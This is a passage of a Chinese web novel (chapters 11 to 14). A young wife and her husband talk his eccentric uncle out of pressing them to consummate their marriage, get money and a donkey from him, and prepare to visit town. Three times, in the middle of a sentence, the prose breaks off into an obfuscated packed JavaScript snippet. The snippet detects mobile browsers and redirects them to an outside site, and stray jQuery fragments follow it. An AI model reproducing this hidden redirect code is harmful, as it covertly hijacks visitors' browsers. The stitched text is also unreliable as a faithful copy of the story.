宁知序:“……”
宁三爷大喝一声:“你们两个!昨天没有圆房!”
小道士糊里糊涂地起身,再一看,便瞧见苏静蘅什么都不懂地向着宁知序露出疑惑的目光。
而那位传说中命中带煞的宁二公子,跟个木桩似的呆立着,一瞬间耳根子通红。
11. 天命(三)
苏静蘅知道夫妻新婚第一夜是要圆房的,但具体怎么圆她不清楚。
反正她和宁知序不是真夫妻,两个人没拜天地没拜高堂,圆房这事更落不到她和宁知序身上。
宁三爷这么大声质问,她心里一点感觉都没有。
要说必须要有点感觉,那就是莫名其妙。
圆不圆房重要吗?
她都顺着宁家的意和宁知序住到一块了,还非要圆房,这些人管的可真够宽的。
宁知序也觉得挺莫名其妙,哪有人把这话这么大声地说出来。
这里四个人,男的女的,老的少的,都齐了,连屋顶上落的几只鸟都在看热闹。
个个眼巴巴的瞪着他,不怪他觉得尴尬难为情。
他定在那儿一动不动,不知道要怎么开口,嘴边刚冒出来的话也被硬生生咽了回去,目光时不时往苏静蘅那儿瞟,想看看她是什么反应。
见她没有其他动作,他喉咙里吊着的一口气散去,可紧接着心里就冒出另一种怪异的感觉——她怎么是这个反应?没有一点害羞的意思,反而正大光明地冲着三叔看回去,那样子就是再说:“圆房?关你屁事,我才不圆,要圆你圆!”
他能理解从前没人教过她这件事,毕竟他自己对这事也是一知半解。
可就算不知道什么是圆房,也总该明白这是夫妻之间的亲密事,轮不到外人来说。
旁的女孩多看一眼别人家的公子都要脸红,她怎么听见这话脸不红心不跳的?
这几年她难道就没遇见几个喜欢的公子,或是与别人家的女儿聊些亲密的闺房话?
不对啊,她总不能跟自己一样,常年被看管着,不允许和外人见面吧?
宁知序心里直犯嘀咕,说不出自己现在是什么感觉。
反倒是那小道士,偷摸着看看苏静蘅又瞧瞧宁知序。
从他们两个人的反应一下子就看出来,这姑娘怕是什么都不懂,对圆房这件事根本没感觉。
嗯,不仅是对圆房没感觉,恐怕也是对宁家二公子没感觉,不然不会一点反应都没有。
至于宁家二公子么,耳根子都红成这样了,他觉得难为情,第一反应不是同宁三爷争辩,而是偷看苏姑娘的反应。
啧啧,心思不纯,心思不纯啊!
小道士自以为猜到了旁人的心事,一下子得意起来,拍拍屁股就跑到一边看热闹。
现在他不用跳大神了,只等着看宁三爷怎么跟宁二公子闹就对了!
看宁三爷现在的架势,少不了一阵发疯耍赖皮,耍累了,一定会叫宁家人的出来为他讨说法,到时候他就可以趁机回去了!
小道士心里喜滋滋。
宁三爷果然没让他失望,看了堂屋里的光景,烦躁地抓了抓头发,着急忙慌地来回踱步,不停地说:“不圆房怎么能行?不圆房怎么能行?”
“必须要圆房吗?”
苏静蘅看他这模样,忍不住问。
宁知序瞪大双眼。
她怎么还主动问?
这是不是有点太缺心眼了?!
“当然,当然啊!你们不圆房,怎么能驱除他身上的煞气,你们不圆房,宁家的老祖宗不会瞑目啊!”宁三爷神神叨叨的,凑近苏静蘅跟她解释,“你知道双修之术吗?”
小道士轻喔一声。
这宁三爷懂的还挺多,连双修都知道。
苏静蘅摇头。
宁三爷小声对她说:“这是道家秘法,男女阴阳栽接修炼,以求大成,很厉害的!”
苏静蘅似懂非懂,点点头。
宁知序眼睛瞪得更大,她懂了?她懂什么了?
刚才明明什么都不知道,这会子她点头做什么?
宁三爷看她点头,忽然挺直腰背,一副老学究的模样,语气深沉说:“双修之法最重要的就是房中术,阴阳相配,取坎填离,你若是不会,我这儿还有几本书——”
小道士又喔一声。
当个疯子真好呀。
光天化日之下,侃侃而谈双修密法,连小人书都能光明正大地拿出来给人看,他什么时候要能活得这么潇洒就好了!
“三叔!”
宁知序及时喝止住他,再一次将他与苏静蘅隔开。
宁三爷身上没带那几本书,他只是先提一句,要是苏静蘅想要,回头他就叫人取来。
若是她不想要,自己回头也叫人送过来,让宁知序好好学学!
这小子平时够呆的,做起这件事来未必上心。
他心里到底还是有些担心。
二哥他们非说他有把柄在他们手上,就算离了宁家也翻不出什么大的风浪,只敢老老实实在老宅住着。
可不管怎么样,这小子能不能翻出大浪是一回事,做事尽不尽心那是另外一回事。
为了宁家,他必须要盯着他,确保这件事不会出差错才行。
宁三爷无视宁知序的动作,一阵自我开解之后,警告他:“不管怎么样,你们今儿必须要圆房,别让解煞的时间推得太久,过了七七四十九天大师要说事情没成,到时候我让你吃不了兜着走!”
“……”
小道士听言心里暗道不好。
不会吧,师父打算在宁府住四十九天?
他们原本就是打算到宁府白吃白喝几顿,不至于这么住这么久吧。
他心里忽然很慌。
要是中间被宁家发现了他们是在忽悠人,到时候岂不是完蛋?
师父他老人家骗吃骗喝的事干得多了,到底有点没脸没皮,可自己还年轻,没什么经验,实在没法子心安理得地住在宁家。
怎么办?
回去要不要劝劝师父?
小道士很苦恼,一时没心思再看面前几人的反应。
宁知序刚要说话,苏静蘅却突然伸出手搭在他肩膀上,她一双明亮的大眼睛饱含深意地看着他,没给宁知序参悟的机会,一把将他撇开,然后对宁三爷说:“多谢三叔好意。”
嗯?
怎么突然改称呼了?
宁三爷忙摆手:“不必不必,一切都是为了宁家,你能明白我的苦心就好。”
苏静蘅说:“自然是能明白的,不过比起您的宝书,要帮宁家,还有几件更重要的事没有做。”
她语气十分凝重,好像真有什么关乎宁家命运的事没解决。
宁三爷面色一沉,问:“何事?”
苏静蘅清清嗓子,掰着手指头与他说:“第一,这里房子坏了好大一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319110|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洞,要修;第二,我们两个住在这个地方,没地也没钱,容易饿死;第三,此地偏远,进城不大方便——”
宁知序:“……”
小道士:“……”
她怎么说得这么直接。
这么多要求,不应该恭维几句,再说几句好话,才好提出来谈判吗?
苏静蘅仿佛没瞧见其他人看她的目光,嘴边的话被打断,宁三爷听不明白:“这和宁家的气运有什么关系?”
苏静蘅脸不红心不跳地忽悠他:“三叔您都说了我身上有灵气,房子破洞聚不住气,我就算在这里住也不管用啊,要先找些人把房子修修,洞给补上,才能更好的改变宁家气运。”
嘶——
她好像说的有道理!
房子破了个洞,什么运气都聚不住,宁家可不是就会完蛋!
行,他明天就找个人来修房!
“那第二个呢?”
苏静蘅说:“我和我相公才到此处,一没地种田种菜,二没钱维持生计,要是饿死了,撑不到七七四十九天,到时候这桩婚事岂不是白结了?宁家老祖宗在上,我们两个哪日要是死了,入了阴曹地府跟他们见了面,他们不想见着我们,肯定要生气,到时候宁家恐怕要更倒霉——”
“别说了别说了!”
宁三爷赶紧打断她的话。
这话太晦气了,不能说出来,得赶紧“呸”掉!
他歪头连呸好几声,又觉得她说的有道理,思来想去,摸摸腰间,拿出一个钱袋子给她,说:“这么着,我身上还有些钱,你们先收着,绝对够你们安安稳稳在这里过四十九天,至于其他的,等我回去想办法。”
苏静蘅眼睛登时发亮,接住钱袋子仔细摸了摸。
嗯,他这次出门身上带的钱不多,但确实足够她和宁知序没有压力地在山里生活两个月了。
挺好!
早知道这个宁三爷这么好忽悠,她刚才还硬气什么?
应该一开口就要钱的!
苏静蘅真想回到刚才给自己一个脑瓜崩儿。
要不是宁三爷突然说要拿东西给她,她也不会想到这一茬。
至于那书,爱谁看谁看去!
她不识几个大字,就算给她她也看不懂。
苏静蘅赶紧将钱袋子收起来,这时宁三爷又问起第三个要求:“可是你说‘此地偏远,进城不大方便’这和宁家气运又有什么关系?”
“嗯……”
这问题她一时半会儿想不出什么好的解释,原本是想能不能从他那边骗个牛或者驴来,能干活也能代步……
但其实骗不着也没事,养牛养驴是长久的生计,一旦养了,就要负责到底。
她在这儿不会久住,养不养对她来说没什么影响。
苏静蘅思索着,忍不住悄悄瞄了眼宁知序。
他至始至终都在看着自己,看样子是被自己这一番话惊住了,一时半会儿没什么反应。
不行。
苏静蘅想,她住在这儿吃他的用他的,总该要为他考虑一些。
一头代步干活的牲畜而已,宁三爷犯不着舍不得给吧?
嗯!她再编个借口试试,看能不能从他手里忽悠到一头大黄牛或者小黑驴!
12. 天命(四)
苏静蘅冲三爷莞尔一笑,说:“其实我自小身子就不大好,天生弱病,急犯起来,荒山野岭没个大夫医治,我容易死。”
“……”
这下轮到宁知序“呸”她了。
他靠在她身边,声音不大,但挺急的,说:“说什么呢?不许咒自己!”
苏静蘅哪管他的反应,这时候他冒出来,多事!
宁三爷说:“这简单啊,我找个大夫陪你们一起住不就成了。”
苏静蘅一愣,连忙道:“三爷好意,可是就算有大夫,来回进城拿药也麻烦呀,我那药是要年年吃,月月吃,日日吃的,一天吃好几顿,拿再多耗得也快,除了吃药,只是偶尔病发,大多数时候又是正常的,不费什么力气,专门找个大夫实在是没必要……”
她觉得自己要编不下去了,其实从这里走去洛城要半个多时辰,来回就是一个多时辰两个时辰,累是累一点,但不是完全受不住。
更何况他们又不是天天要进城。
就算她没说谎,生了病真的去城里拿药,吃得再快也是三五天去一次,根本用不着为此特地养个牛养个驴,这比叫个大夫来收着他们还要麻烦。
毕竟真找个大夫来,多了一个大活人,平日里花销肯定都是算在宁三爷头上,而养一头牲畜的话,那完全就是他们自己的事了。
她这么说,不是在没事找事么。
一听就是假的!
苏静蘅有些后悔,她刚才就不应该说“进城不方便”,她应该直接说“神仙给她托梦,要头驴来当吉祥物”才好。
越是玄乎的说法,宁三爷就越容易相信,而且也不用她做多余的解释。
现在是个人都应该能听出来她是在胡说八道忽悠人,连那个小道士在一旁都面露疑色,可苏静蘅还在垂死挣扎,想着要为宁知序争取一下。
她不认为哪日自己走了,宁知序还能回宁家当他的宁二公子。
他家人就是彻彻底底把他扔了。
以后不管他的死活,放他在山野间自生自灭。
现在宁家唯一能忽悠的只有这个宁三爷。
而且只有她开口有用——或许还有他口中一直提到的大师说话也管些用,可就是那人将宁知序害到如今这个地步的,他肯定不会多看宁知序一眼。
既然没人在乎她,自己总不能见死不救。
为他准备个能干活的牲畜,哪日自己走了,他在山间也能活下去,没有地,他不是还会些其他的手艺吗?
现在是太平年,他生活在这里,靠山吃山,没事做些竹编弄进城托货郎帮忙叫卖,换一些钱,够他在这里安安稳稳地活一辈子了。
苏静蘅想的很好,脸上挂着笑,僵硬地冲宁三爷提提唇角:“您再瞧我现在的腿,受了伤,走不了路,不知道何时才能好,要进城更是麻烦,大师既然说了我是天命之女,能影响宁家的气运,那我自然不能只呆在这里,平日没事也是要常常去宁府走走的,给大家都提提运——你说对不对?”
她最后看着小道士。
小道士发呆中回神,指着自己:“啊?你问我吗?”
苏静蘅道:“对呀,这事你最懂的。”
话说得这么好听,实际每一个字都充满着明显的警告意味。
“对,对吧……”小道士被她盯得心里发毛。
这姑娘,瞧着楚楚动人,灵秀可爱,实际说话做事带着一股狠劲,谁要是把她惹毛了,下场一定很惨。
苏静蘅见他点头,稍微放下心。
她早就看出来这人其实就是个江湖骗子。
什么都不懂,胆子又小,宁三爷说什么话都不敢反驳,一两句警告就能将他吓得瑟瑟发抖。
恐怕他师父也是个江湖骗子,把宁三爷骗得团团转,宁家各人配合着这一场戏只为寻一个心安,而她和宁知序只是他们的玩物,根本没被当成人看。
这样的江湖骗子,她犯不着给他好脸色。
宁三爷摸着下巴静静思考,忽然,他合掌一笑,想通了似的,对苏静蘅说:“你说的有道理,哎,小事一件,小事一件,你高兴就好,你高兴了,一切就都通了!驱煞之事,讲究天法,法由心定,心悦心诚,方能管用。”
他不仅说服了自己,还把自己哄得挺开心。
小道士眼珠子差点瞪出来。
这都行?
他忽然觉得他跟他师父忽悠的东西还是有些少了。
住在宁府多不自在,有没有可能让宁三爷单独腾出一间宅子给他们住呢?
这样不用每天都见面,他也不会每天都感觉不安了。
哎不对——
小道士想着想着,猛地一惊,他怎么成了师父那样的人了?
当初拜入师门是为了什么?
修道修心,养身养性。
学不会长生之术,也该做个有道德的人。
可现在呢?他竟然如此堕落……
嗯,一定是师父的原因。
或许这段师徒缘分从一开始就是错的。
小道士暗暗下了决心,等从洛城离开,就要断了这段师徒情,彻底和那个老骗子分道扬镳!
而离开洛城之前——
既然事情已经做了,他无力改变,那就顺其自然,该吃吃该喝喝该玩玩吧!
宁三爷同意了苏静蘅的要求,为防止出错,还小心翼翼地问:“所以我叫人送一匹马给你——”
“驴!我们要驴!”
来不及问宁知序的意见,苏静蘅替他做了决定。
养马?那可是真的养不起,也没必要。
而且她不觉得宁家会大方到送他们一匹马,送马这件事宁三爷铁定走不了主,但是一头驴抖抖裤腰带他还是给得起的。
至于牛,若是他们有地,那她肯定会选牛,可他们没有,也不能有。
宁知序如今的处境,他不可能有自己的地的,即便是有,那也是宁家的。
替宁家种地,和做宁家的奴,给宁家打白工有什么区别?
虽说这房子也是宁家的,可这到底只是一个住处,而且是给他白住的,哪一天不让住了,拍拍屁股走人就是。
种地不一样,那花的是实实在在的力气和汗水,若是宁家不做人,某日突然将他赶走,将地收回,到时候他所有的力气就都白费了。
“行。”
宁三爷没多想,她说什么就是什么。
既然她的要求自己都答应了,那么——
他说:“你说的这些关乎宁家气运的大事我都答应了,那么,你们什么时候圆房呢?”
苏静蘅:“……”
宁知序:“……”
小道士:“……”
他们聊话的内容精彩万分,一下子从天南跳到地北,又从地北跳到天南。
稍不留神就跟不上。
宁三爷看苏静蘅呆滞的神情,清一清嗓子,又要讲他的“双修秘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319111|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法,房中之道”,苏静蘅立刻出声打断:“那个,三叔——”
苏静蘅是想说这件事以后再说,可话到嘴边,却不知道要怎么说。
今天说的瞎话实在太多了,她的脑筋现在有点转不动,一时半会儿真的编不下去了。
不能拒绝他,也不能答应……
那要怎么说?
苏静蘅用胳膊肘撞一撞宁知序,抬头冲他使眼色,意思是说:我说不动了,现在轮到你来解释了。
然而宁知序只是“啊”了一声,没有其他的动作。
她见状忍不住挤眉弄眼,又觉得这会子一共只有四个人,她的动作一定很明显。
偏偏眼前这个木头一点反应都没有,只顾着瞪大眼睛看着她,暗暗戳了他好几次都没有反应,苏静蘅脸颊便忍不住开始发烫。
你这个呆子!快说话呀!
平时不是很能说吗?怎么现在没反应了!
宁知序听她扯了半天瞎话,乍一停下来,压根没明白她的意思。
苏静蘅的脸越来越红,不知是急的还是气的。
感受到另外两个人都盯着她,她有些无所适从,手脚也愈发慌乱,扯着宁知序的衣袖用力拽一拽。
小道士看她这似乎很是娇羞的动作,倒抽一口气,还没来得及说什么,宁三爷就悟了:“我懂了,你们两个接下来就是要办正事了是不是?”
宁知序:“?”
苏静蘅压根没听出来他的意思,一瞬间受了提点,想到自己的头发还没来得及洗,烧的水还在锅里热着,于是赶紧说:“是!我们马上就要办正事了,再不办就来不及了!”
宁知序:“???”
苏静蘅看他这模样,以为他是故意的,气得直接伸手拧了他的腰一把,力道不重,动作也并不明显,但宁知序没料到她会突然对自己“动手”,登时叫出声,捂着后腰就跳起来抖了个哆嗦。
这一下宁三爷和小道士都齐刷刷望他的腰看去。
宁三爷眼睛发亮,立刻说:“既然如此,我就不打扰你们了,做法的事改天再说!你们做你们的正事去吧!”
宁知序:“?”
苏静蘅这才恍恍惚惚反应过来。
他是不是想错了?
不对,自己是不是想错了?
不对,是他们两个人都想错了!
宁知序看她定在原地满脸迷糊的模样,有些无奈。
但这个时候说什么都迟了,人已经走了,苏静蘅回过神,踮起脚尖一把揪住他的耳朵想好好教训他一顿
“宁知序!”
“哎哎!你别动手!别动手!有什么话好好说,好好说啊啊啊啊!”
宁知序跪的比谁都快,张嘴就是:“我错了我错了!”
“你错哪儿了!?”
“我不该脑子笨!我不该没明白你的意思让你被人误会!”
“你还说!”
说到被人误会,苏静蘅气急,没忍住松手去拿棍子想给他个好看。
谁知转身的功夫宁知序一下子就从地上跳起来,绕着屋门口跑。
这次动作倒是挺快的!
刚才叫他说话他怎么不说?
苏静蘅拿着棍子在后面追,两个人谁也不让谁。
小道士被宁三爷拽住后脖颈走远了,听见屋门口吵翻天的动静,终于忍不住将心里的想法说出来:“啧啧,洛城的民风还是开放啊,今日真叫我长见识了!”
13. 回城(一)
宁知序被追得累了,停下来等着苏静蘅教训他。
其实他没跑多快,蹦两步,回过头装模作样看看她,等她追上来,再装模作样跑两步。
直到看着苏静蘅拄着拐慢慢停下,他才有认输的意思,但不是道歉,而是腆着脸问她:“你难道还真要打我不成?我都说了,我嘴笨么,要人教的,你嘴皮子厉害,以后你教我说话行不行?”
说完,一根棍子指到自己鼻尖,棍子的另一头攥在苏静蘅手里,她歪歪脑袋,坦坦荡荡露出严肃的脸,跟他说:“都是借口,我不听你的狡辩。”
宁知序立刻抓住棍子这一头,轻轻一拽,苏静蘅控制不住朝他这边倒,幸亏在离他还有两步的地方及时用拐杖刹住脚,一抬头看见宁知序那张脸,愣住。
宁知序还不知死活地挑挑眉,嘴角咧开一个极为潇洒却内含讨好的弧度,说:“愿不愿听,你都听见了,接下来你是要生气呢?还是高高兴兴拿着钱想着接下来一段时间怎么花?”
他这么一说,苏静蘅收回目光,觉得也对。
这么跟他闹下去没必要,从宁三爷那儿讨到了一笔钱,这是一件好事,不庆祝也就算了,怎么还能生气呢?
宁知序见她低眉,知道她将自己的话听进去了,嘴角咧得更夸张些,将脑袋凑到她面前,问:“我三叔给了多少钱?”
苏静蘅拿出钱袋摊在手心给他看,两人仔细一数,足足七两银子!
果然是有钱人,她可是攒了好久都没攒够一两银子,而宁三爷随随便便一出手就是七两,跟扔石子似的,一点不心疼。
苏静蘅恨不得把这七两银子团一团塞进肚子里藏着,谁都别想拿走。
宁知序站在一边看着她惊喜又纠结的模样,毫不在意地说道:“这样等咱们回洛城,你想买些吃的用的,尽管去买,我那还有点钱,不够还能贴上。”
他虽然也是高兴,不过没她那么明显。
苏静蘅将钱袋子收起来,嘴里念着:“过几日再说吧。”
宁知序一听,连忙说:“你别舍不得花,真的,算算日子,若你在这里能住上两个月,期间没必要委屈自己。”
这话说得,好像钱是他的一样。
苏静蘅叉腰道:“我自然知道!这钱是我得来的,难道我没有处置的权利吗?”
宁知序:“当然有。”
苏静蘅:“那你得听我的。”
“我当然是听你的。”
宁知序小声呢喃,“这里除了你我还有第二个人吗?我不听你的听谁的?”
苏静蘅这才满意,捂捂钱袋子说:“什么东西能一下子花掉七两银子?反正我们两个暂时花不掉这么多钱,少什么缺什么的,先去找你三叔说,他不给,我们再自己买去。”
宁知序殷勤地笑着:“你说得有道理,不过——”
“不过什么?”苏静蘅问。
“不过我三叔这次被你唬回去,下次来还不知道是什么时候,跟着他的那小道士一看就是被他压着拎过来的,回去铁定要告状,再加上我三叔若是照你的话吵着买驴找人给我们建房子,宁府的人一定不依他,当他是发疯,这段日子对他小心防备,绝不会轻易放他出来。”
“你是说他回去之后有可能出不来了?”
“嗯。”宁知序严肃道,“至少半个月没办法出宁府。”
“半个月出不来就出不来呗。”
苏静蘅云淡风轻道,“又不是一辈子见不着,只要他信我的话,心里一直记挂着我们,哪日出来了,便一定会来找我们。而且,我是想从他那边要点好处,可又不是要不到就要死了,说到底我们只要过好自己的日子就行,他愿意给我们东西,那叫锦上添花,不给,也没什么大事。”
更别说,已经从他那儿得了七两银子,怎么算都不亏。
“……”
宁知序佩服她的心态。
也怪不得她能跟着自己回家。
摊上一个赌徒的爹,又被迫与人成亲,这样的事若发生在旁人身上,恐怕早就一哭二闹三上吊了,哪像她一样,不管怎么样都不会杀自己的威风,不管到哪里都要做霸王。
“明天回去,咱们就去街上逛逛,大摇大摆地逛,告诉那些想看笑话的人,我们好着呢,好得不得了,再给我爹瞧瞧,离了他,我日子过得更好。”
“明天就回去?”
“是啊,按规矩说不应该是明天吗?”
宁知序瞧瞧她的脚踝,欲言又止。
苏静蘅立马说:“放心,我这腿本来就没伤多重,只是稍微有点瘸,还能走,到明天应该就好了。”
宁知序:“……”
苏静蘅见他还不放心,干脆说:“我走累了你背我。”
“行。”
宁知序都不听她接下来的话,一口应下。
苏静蘅愣住,她原本还想说两句,譬如“我们这段时间既然是搭伙过日子,就应该互相帮助,你帮我,我也会帮你”或者“我走一段,你背一段,回头进城给你买些好吃的”这些话。
谁知道他应得这么干脆。
宁知序看她这模样,笑着说:“背着你走进城都行,我可不是白吃饭的,力气有的是。”
这一点,他对自己很有信心,宁府里堆着的粮,一袋就抵得上她一个人,自己背得轻轻松松,换成她也一样。
怕她不相信,宁知序干脆下蹲说:“你不信,我现在就能背着你绕着屋子跑几圈,保证连气都不喘!”
“不喘气的那是死人。”
苏静蘅怼回去,让他以后别这么说话,宁知序自然是顺着她的意思不敢反驳,只道:“那说好了,明天我背你。”
“嗯。”
苏静蘅心想没准明天脚伤就真好了,到时候才不要你一直背着,我要自己走过去!
两人吵吵闹闹说完,宁知序记着要给苏静蘅打盆热水来洗头发。
他搬了个高些的方凳子摆在屋门口,打来的热水就放在凳子上,苏静蘅自己拿了那坏了一只腿的矮凳躺放在地上,这样高度正好,垂首洗发也不至于有多累脖子。
伸手试试水温,比想象中的偏热一些,是她喜欢的温度,于是两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337600|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人一时都歇下来,一个趁着太阳高悬,在山间的风中用水沾湿自己的头发,一绺一绺地洗着。
另一个摆弄着从山里搬来的竹子,挑了几根劈开搭架子。
剩下的竹子都被推到一边,直到将竹架勉勉强强架好,宁知序抻抻肩,回头看苏静蘅已经洗完头发,安安静静地擦拭着发丝上的水迹,不动声色地盯着他看。
他被这道视线盯得身子一颤,随即痴痴定住,四肢僵着不知道要往哪里摆。
“你……”
“嗯?”
她似乎根本不懂避嫌,脸色微红,却是热气蒸的,肩上搭着他为她寻地擦头发的布,一只手捧着一绺黑发,另一只手用布匹的另一半裹着黑发揉搓,见他看自己,视线便瞟了眼他身后的竹竿架子,夸道:“不错。”
做完了一件事之后盯着她不动,这不是求夸奖还能是什么?
苏静蘅大方地满足了他的要求。
宁知序:“……”
他赶紧说了声“谢谢”,背过身不去看她,重新拨出根竹子试图安下心做他的东西,晾衣架一搭,剩下来的无论如何不够做一个大一点篾篓,他比划两下,思前想后,不再问苏静蘅的意见,随自己的心做。
也是好些日子没动手了,不必做太难的。
大刀阔斧将竹子刮节开竹去节后,又分别剖开竹皮和竹芯,苏静蘅看着他的动作,在背后叫他小心一点,不要伤着手,他哑着声音应了一句,再将篾条一条条修边,继续削薄打磨,如此反复,直到苏静蘅没兴致看了,才开始做下一步。
一大把的篾条齐齐排在眼前,宁知序低着头吭哧吭哧地做,一心扑在眼前之物上,小半天过去,好不容易将东西做好,看了眼竟还剩些篾条。
他灵机一动,拿起剩下的继续动手,终于,将所有篾条一根不浪费全都处理了,再一抬头,发现太阳已然要落山。
他拍拍脑门赶紧起身往灶屋跑,苏静蘅坐在灶后生火,瞥见门口忽然出现的人影,随口问:“做好啦?做好了洗洗手准备吃饭吧,反正也是将中午的饭菜热一热,重新翻炒一下,我来就行。”
她都这样说了,自己再说“不”那就是不识好歹。
宁知序笑着说:“行”。
但也没急着去洗手,而是出去将他弄了半天的成果拿进来,递到苏静蘅面前给她看。
苏静蘅看清他手里的东西,意料之中地“哇”了一声,原想装作镇定的样子夸他,结果忍了一会儿还是没忍住,笑个不停:“这就是你说的篾篓?怎么这么小!”
她以为他做的是能背在身上的那种,谁知道事实做出来的只够两只手捧着。
不止篾篓,还有一个比拳头略大些的竹球,晃一晃,里面咚咚响。
宁知序叹息:“竹条不够了,只能做这么多,就当练手,改日再给你做个更大更好的。”
“好。”
苏静蘅不在意,篾篓虽小,可是很紧实,回头找根绳子系一条背带,斜挎着也能用。
她将小篾篓和球收下,招呼道:“洗手盛饭吧,我早就饿了!”
14. 回城(二)
二人将饭菜吃了个精光,饭后没多久天色彻底暗下来。
家里只有一盏旧油灯,没有灯油,所幸蜡烛还剩几根,想着明天回洛城有机会添置灯油,这一晚便没再省着用。
苏静蘅将明天要穿的衣服提前收拾出来,听见堂屋一点动静都没有,捧着烛台过去提醒宁知序:“记得将你最好的衣裳拿出来明天穿。”
进城可是大事,一点不能怠慢。
“最好的?”
宁知序皱了皱眉,当着她的面从装衣服的包袱里一件一件地挑选,说,“我觉得我这几身都挺好的。”
苏静蘅在一旁掌灯仔细看着他的那些衣服,一件赛一件的旧,也就他身上的好一点——嗯,好像也没好到哪里去,只不过人长得好看,身姿挺拔,所以穿什么都好看。
“你多久没做过新衣裳了?”她发自肺腑地问。
“新衣裳?”
宁知序挠挠后脑勺,“这几件都是去年年初才做的,算新了吧。”
单衣只穿两季,去年做的衣服在他眼里算不上新却也不算旧,反正能穿。
“这一件行不行?”他挑出一件觉得好看的,放到身前比划。
其他的衣服都是短衣窄袖,他穿得多了,只有这一件是长袍大袖,平日不方便穿,也就逢年过节穿一次,所以虽然是几年的旧衣服,瞧着却比别的新一点。
“你穿上给我瞧瞧。”
苏静蘅看了眼衣服的料子确实还行,也比其他的衣服贵重风雅一些,勉强配得上他宁家二公子的身份,就是不知道上身怎么样。
宁知序听她的话将衣服披上,转一圈,苏静蘅摇头:“不行,这衣服不衬你。”
“衣服能穿就行。”
他对这一件还挺满意的,试图说服她,“你看,这上面还有绣花,多好看,其他衣服都没绣花。”
“可是真的不衬你。”
苏静蘅叹息,伸手扯扯他的袖子,“而且就这一块有绣花,还没我绣得好看,你要是喜欢,回头我帮你绣几个,你要什么花样的都成。”
“真的?”
苏静蘅说是,只要有料子有针线,就是给他做一身满绣的都行,那不比这个好?
“可是——”
“别可是了,你这件衣服还有点太小了,穿在身上怪别扭的,你不觉得难受吗?”
一句话将宁知序彻底打败。
这件确实做了有些年头。
当时是往大了做的,可是这几年正是长个儿的时候,不知不觉就穿不上了。
偶尔穿一次,勉强塞塞还能塞进去,但穿久了就容易原形毕露——其实现在已经露的彻底了,原本拖地还要再长几分的袍子,现在才到小腿,苏静蘅都佩服他面不改色地夸这件衣裳,像一个成年的大人穿小孩的衣服。
看来是真心喜欢。
宁知序还想争取一下,从一堆衣服里翻出与这件配套的外纱衣,罩上,说:“外边这件纱衣长一点,能盖住下面缺的那块。”
苏静蘅笑笑,说:“赶紧脱下来,这件已经不能穿了,你要是喜欢,把衣服给我,回头我帮你改改。”
“真的?”
宁知序这下心甘情愿地脱下来,换其他的衣裳,一件一件试,苏静蘅都摇头:
“不行,这件太旧,料子太糙,像在地里做了一个月的农活然后进城赶集的。”
“这件也不行,颜色都落了,看看,这一块儿都发白了!”
“这件——嗯?这块补丁是你自己打的?不能穿不能穿,你也别当个宝贝一样收起来了,都放这儿回头我帮你改改吧。”
宁知序:“……”
换到最后也没一件让她满意的,不只是他自己认输了,苏静蘅也认输了,对比了几件还能看的,硬是要他从里面挑出一件,又觉得没一件能穿。
她定住,忽然说:“你那件喜服呢?”
“喜服?”
要他穿喜服回去?
这不太好吧,哪有人成了亲还穿着喜服出去招摇过市的。
宁知序说:“在那儿呢,但还没来得及洗——”
苏静蘅:“拿过来。”
“……”
他乖乖听话将衣服拿过来,苏静蘅接过来随手掸两下,念道:“就穿过一次,都没怎么脏,暂时就先别纠结洗不洗的了,明天先应付上,回来再好好把它处置了……”
她心里已经有了打算。
宁家准备的这一套,半点不能浪费,到时候拆了重做,就算是一根没用的线头她都要用起来。
她替宁知序将外衣披上,红色的腰带随手搭在自己胳膊上,一边帮他整理衣角,一边说:“再把你那件纱衣穿上,这样就看不出来是喜服了。”
还能这样?
纱衣颜色太素,喜服颜色太艳,叠在一块儿,他倒没见过这样穿的。
心里怀疑是怀疑,却还是按照她的话将外纱衣罩上。
苏静蘅顺手圈住他的腰,替他将腰带系起来,宁知序上一刻还点头,心道这样穿确实挺好看的,张扬中带点含蓄,含蓄里又显张扬,比其他衣服好看多了,下一刻就看见面前之人忽然抱上自己。
他脑袋当的一声,周围一切在这一瞬间彻底陷入沉寂。
苏静蘅自顾自替他系着腰带,丝毫没察觉他身子僵硬,随意地说:“就这样吧,其实你穿红色最好看,招摇惹眼,衬得人白净干练,发带也还用昨天那个,红色的,还有抹额,你这一条明天就别用了,过几日我给你多做几条新的,定比你现在用的这个好。”
她说着伸手摸了摸他的抹额。
是旧的,毛糙的,不知是用什么边角料做成,没有多余的花纹,用得久了,脑门子上该留印子的!
他身上所有东西都是旧的,明明新的才配他,好的才配他。
